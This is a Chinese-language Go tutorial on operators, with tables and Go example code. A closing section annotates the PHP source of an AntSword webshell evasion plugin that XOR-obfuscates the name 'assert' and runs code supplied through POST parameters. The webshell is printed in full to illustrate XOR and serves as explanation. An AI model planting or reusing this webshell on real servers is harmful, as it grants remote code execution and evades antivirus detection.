Go语言学习08-运算符
0x00 概述
运算符用于在程序运行时执行数学或逻辑运算。
Go 语言内置的运算符有:
- 算术运算符
- 关系运算符
- 逻辑运算符
- 位运算符
- 赋值运算符
0x01 算术运算符
| 运算符 | 描述 |
|---|---|
| + | 相加 |
| - | 相减 |
| * | 相乘 |
| / | 相除 |
| % | 求余 |
注意: ++(自增)和--(自减)在Go语言中是单独的语句,并不是运算符。
0x02 关系运算符
| 运算符 | 描述 |
|---|---|
| == | 检查两个值是否相等,如果相等返回 True 否则返回 False。 |
| != | 检查两个值是否不相等,如果不相等返回 True 否则返回 False。 |
| > | 检查左边值是否大于右边值,如果是返回 True 否则返回 False。 |
| >= | 检查左边值是否大于等于右边值,如果是返回 True 否则返回 False。 |
| < | 检查左边值是否小于右边值,如果是返回 True 否则返回 False。 |
| <= | 检查左边值是否小于等于右边值,如果是返回 True 否则返回 False。 |
0x03 逻辑运算符
| 运算符 | 描述 |
|---|---|
| && | 逻辑 AND 运算符。 如果两边的操作数都是 True,则为 True,否则为 False。 |
| || | 逻辑 OR 运算符。 如果两边的操作数有一个 True,则为 True,否则为 False。 |
| ! | 逻辑 NOT 运算符。 如果条件为 True,则为 False,否则为 True。 |
package main
import "fmt"
func main() {
//运算符练习
a := 10
b := 200
a++ //++在go中表示是一个语句,不能赋值,如:a = a++这样是错的
b++
fmt.Printf("%d\n", b+a)
fmt.Printf("%d\n", b-a)
fmt.Printf("%d\n", b*a)
fmt.Printf("%d\n", b/a)
fmt.Printf("%d\n", b%a)
fmt.Printf("%d\n", a)
fmt.Printf("%d\n", b)
/*关系运算符,返回的永远是true或者false*/
fmt.Println(a == b) //GO语言是强类型语言,只有相同才能比较
fmt.Println(a != b) //不等于,没有!==这样的写法
fmt.Println(a <= b)
/*逻辑运算符&& || */
//如果年龄大于18岁并且小于60岁...
age := 4
if age > 18 && age <= 60 {
fmt.Print("正值壮年!")
} else if age <= 18 {
fmt.Println("未成年呢?回家写作业去吧~")
} else {
fmt.Println("活着真好啊!")
}
//如果年龄大于60岁或者小于18岁
if age <= 18 || age >= 60 {
fmt.Println("老弱病残!")
}
//! 即not取反,原来为真输出假,原来为假输出真
isMarried := false
fmt.Println(isMarried)
fmt.Println(!isMarried)
}

0x04 位运算符
位运算符对整数在内存中的二进制位进行操作。
| 运算符 | 描述 |
|---|---|
| & | 参与运算的两数各对应的二进位相与。 (两位均为1才为1) |
| | | 参与运算的两数各对应的二进位相或。 (两位有一个为1就为1) |
| ^ | 参与运算的两数各对应的二进位相异或,当两对应的二进位相异时,结果为1。 (两位不一样则为1) |
| << | 左移n位就是乘以2的n次方。 “a<<b”是把a的各二进位全部左移b位,高位丢弃,低位补0。 |
| >> | 右移n位就是除以2的n次方。 “a>>b”是把a的各二进位全部右移b位。 |
//位运算符5的二进制为101 2为10
fmt.Println(5 & 2) //000 与运算:两个数的二进制对齐后,都为1的才为1,否则为0
fmt.Println(5 | 2) //111 或运算:有一个1就为1
fmt.Println(5 ^ 2) //111 异或运算:两位不一样才为1
fmt.Println(5 << 1) //1010 => 10
fmt.Println(1 << 10) // 10000000000 => 1024
fmt.Println(5 >> 2) //1 => 1
0x05 赋值运算符
| 运算符 | 描述 |
|---|---|
| = | 简单的赋值运算符,将一个表达式的值赋给一个左值 |
| += | 相加后再赋值 |
| -= | 相减后再赋值 |
| *= | 相乘后再赋值 |
| /= | 相除后再赋值 |
| %= | 求余后再赋值 |
| <<= | 左移后赋值 |
| >>= | 右移后赋值 |
| &= | 按位与后赋值 |
| |= | 按位或后赋值 |
| ^= | 按位异或后赋值 |
额外
蚁剑webshell免杀插件中代码分析:
<?php
class THOD {
function bTYv() {
$iEEK = "\x44" ^ "\x25"; //这里就是0x44和0x25的位运算符,两个换成二进制后,对应的位上面不同取1,相同则为0
$MfpS = "\x34" ^ "\x47";
$Jdkm = "\x6d" ^ "\x1e";
$dWtj = "\x30" ^ "\x55";
$yAoK = "\x2c" ^ "\x5e";
$yexb = "\x6" ^ "\x72";
$NzKh =$iEEK.$MfpS.$Jdkm.$dWtj.$yAoK.$yexb; //用.将前面的值都赋予进来
return $NzKh; //到这里其实就是assert函数
}
function __destruct(){ //对象销毁的时候,调用此函数
$gYNh=$this->bTYv(); // 调用assert()函数方法给$gYNh
@$gYNh($this->zH); //调用$gYNh函数,即assert($this->zH)
}
}
$thod = new THOD(); //实例化一个class,用$thod变量接收
//下面这条语句其实就是assert(isset($_GET['id'])?base64_decode($_POST['admin']):$_POST['admin']);),assert来执行用户传入的数据,进行代码执行
@$thod->zH = isset($_GET['id'])?base64_decode($_POST['admin']):$_POST['admin']);
?>
练习题
1、有一堆数字,如果除了一个数字以外,其他数字都出现了两次,那么如何找到出现一次的数字?
如:在这里找到仅仅出现一次的:77777878896868660686787218790986060787

浙公网安备 33010602011771号